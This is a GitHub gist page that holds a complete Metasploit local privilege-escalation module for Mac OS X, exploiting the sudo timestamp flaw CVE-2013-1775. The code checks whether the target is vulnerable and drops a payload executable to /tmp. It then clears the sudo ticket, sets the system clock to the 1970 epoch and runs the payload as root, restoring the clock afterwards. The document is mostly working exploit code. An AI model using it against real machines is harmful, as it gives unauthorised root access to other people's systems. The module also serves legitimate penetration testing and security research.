Created
August 30, 2013 15:25
-
-
Save anonymous/6390991 to your computer and use it in GitHub Desktop.
OSX sudo bypass on metasploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# web site for more information on licensing and terms of use. | |
# | |
# http://metasploit.com/ | |
## | |
require 'shellwords' | |
class Metasploit3 < Msf::Exploit::Local | |
# ManualRanking because it's going to modify system time | |
# Even when it will try to restore things, user should use | |
# it at his own risk | |
Rank = NormalRanking | |
include Msf::Post::Common | |
include Msf::Post::File | |
include Msf::Exploit::EXE | |
include Msf::Exploit::FileDropper | |
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" | |
SUDOER_GROUP = "admin" | |
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] | |
# saved clock config | |
attr_accessor :time, :date, :networked, :zone, :network_server | |
def initialize(info={}) | |
super(update_info(info, | |
'Name' => 'Mac OS X Sudo Password Bypass', | |
'Description' => %q{ | |
This module gains a session with root permissions on versions of OS X with | |
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, | |
and possibly lower versions. | |
If your session belongs to a user with Administrative Privileges | |
(the user is in the sudoers file and is in the "admin group"), and the | |
user has ever run the "sudo" command, it is possible to become the super | |
user by running `sudo -k` and then resetting the system clock to 01-01-1970. | |
This module will fail silently if the user is not an admin or if the user has never | |
run the sudo command. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Todd C. Miller', # Vulnerability discovery | |
'joev <jvennix[at]rapid7.com>', # Metasploit module | |
'juan vazquez' # testing/fixing module bugs | |
], | |
'References' => | |
[ | |
[ 'CVE', '2013-1775' ], | |
[ 'OSVDB', '90677' ], | |
[ 'BID', '58203' ], | |
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ] | |
], | |
'Platform' => 'osx', | |
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], | |
'SessionTypes' => [ 'shell', 'meterpreter' ], | |
'Targets' => [ | |
[ 'Mac OS X x86 (Native Payload)', | |
{ | |
'Platform' => 'osx', | |
'Arch' => ARCH_X86 | |
} | |
], | |
[ 'Mac OS X x64 (Native Payload)', | |
{ | |
'Platform' => 'osx', | |
'Arch' => ARCH_X86_64 | |
} | |
], | |
[ 'CMD', | |
{ | |
'Platform' => 'unix', | |
'Arch' => ARCH_CMD | |
} | |
] | |
], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Feb 28 2013' | |
)) | |
register_advanced_options([ | |
OptString.new('TMP_FILE', | |
[true,'For the native targets, specifies the path that '+ | |
'the executable will be dropped on the client machine.', | |
'/tmp/.<random>/<random>'] | |
), | |
], self.class) | |
end | |
# ensure target is vulnerable by checking sudo vn and checking | |
# user is in admin group. | |
def check | |
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/ | |
sudo_vn = $1 | |
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i) | |
# check vn between 1.6.0 through 1.7.10p6 | |
# and 1.8.0 through 1.8.6p6 | |
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) | |
print_error "sudo version #{sudo_vn} not vulnerable." | |
return Exploit::CheckCode::Safe | |
end | |
else | |
print_error "sudo not detected on the system." | |
return Exploit::CheckCode::Safe | |
end | |
if not user_in_admin_group? | |
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." | |
Exploit::CheckCode::Safe | |
end | |
# one root for you sir | |
Exploit::CheckCode::Vulnerable | |
end | |
def exploit | |
if not user_in_admin_group? | |
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") | |
end | |
# "remember" the current system time/date/network/zone | |
print_good("User is an admin, continuing...") | |
# drop the payload (unless CMD) | |
if using_native_target? | |
cmd_exec("mkdir -p #{File.dirname(drop_path)}") | |
write_file(drop_path, generate_payload_exe) | |
register_files_for_cleanup(drop_path) | |
cmd_exec("chmod +x #{[drop_path].shelljoin}") | |
print_status("Payload dropped and registered for cleanup") | |
end | |
print_status("Saving system clock config...") | |
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] | |
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] | |
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) | |
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] | |
@network_server = if @networked | |
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] | |
end | |
run_sudo_cmd | |
end | |
def cleanup | |
print_status("Resetting system clock to original values") if @time | |
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? | |
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? | |
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? | |
if @networked | |
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") | |
unless @network_server.nil? | |
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") | |
end | |
end | |
print_good("Completed clock reset.") if @time | |
end | |
private | |
def run_sudo_cmd | |
print_status("Resetting user's time stamp file and setting clock to the epoch") | |
cmd_exec( | |
"sudo -k; \n"+ | |
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ | |
" -setdate 01:01:1970 -settime 00:00" | |
) | |
# Run Test | |
test = rand_text_alpha(4 + rand(4)) | |
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') | |
print_status("Testing that user has sudoed before...") | |
output = cmd_exec('echo "" | ' + sudo_cmd_test) | |
if output =~ /incorrect password attempts\s*$/i | |
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") | |
elsif output =~ /#{test}/ | |
print_good("Test executed succesfully. Running payload.") | |
else | |
print_error("Unknown fail while testing, trying to execute the payload anyway...") | |
end | |
# Run Payload | |
sudo_cmd_raw = if using_native_target? | |
['sudo', '-S', [drop_path].shelljoin].join(' ') | |
elsif using_cmd_target? | |
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ') | |
end | |
## to prevent the password prompt from destroying session | |
## backgrounding the sudo payload in order to keep both sessions usable | |
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' | |
print_status "Running command: " | |
print_line sudo_cmd | |
output = cmd_exec(sudo_cmd) | |
end | |
# helper methods for accessing datastore | |
def using_native_target?; target.name =~ /native/i; end | |
def using_cmd_target?; target.name =~ /cmd/i; end | |
def drop_path | |
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) } | |
end | |
# checks that the user is in OSX's admin group, necessary to change sys clock | |
def user_in_admin_group? | |
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP) | |
end | |
# helper methods for dealing with sudo's vn num | |
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end | |
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) | |
vn_parts = parse_vn(vn) | |
ranges.any? do |range| | |
min_parts = parse_vn(range[0]) | |
max_parts = parse_vn(range[1]) | |
vn_parts.all? do |part| | |
min = min_parts.shift | |
max = max_parts.shift | |
(min.nil? or (not part.nil? and part >= min)) and | |
(part.nil? or (not max.nil? and part <= max)) | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment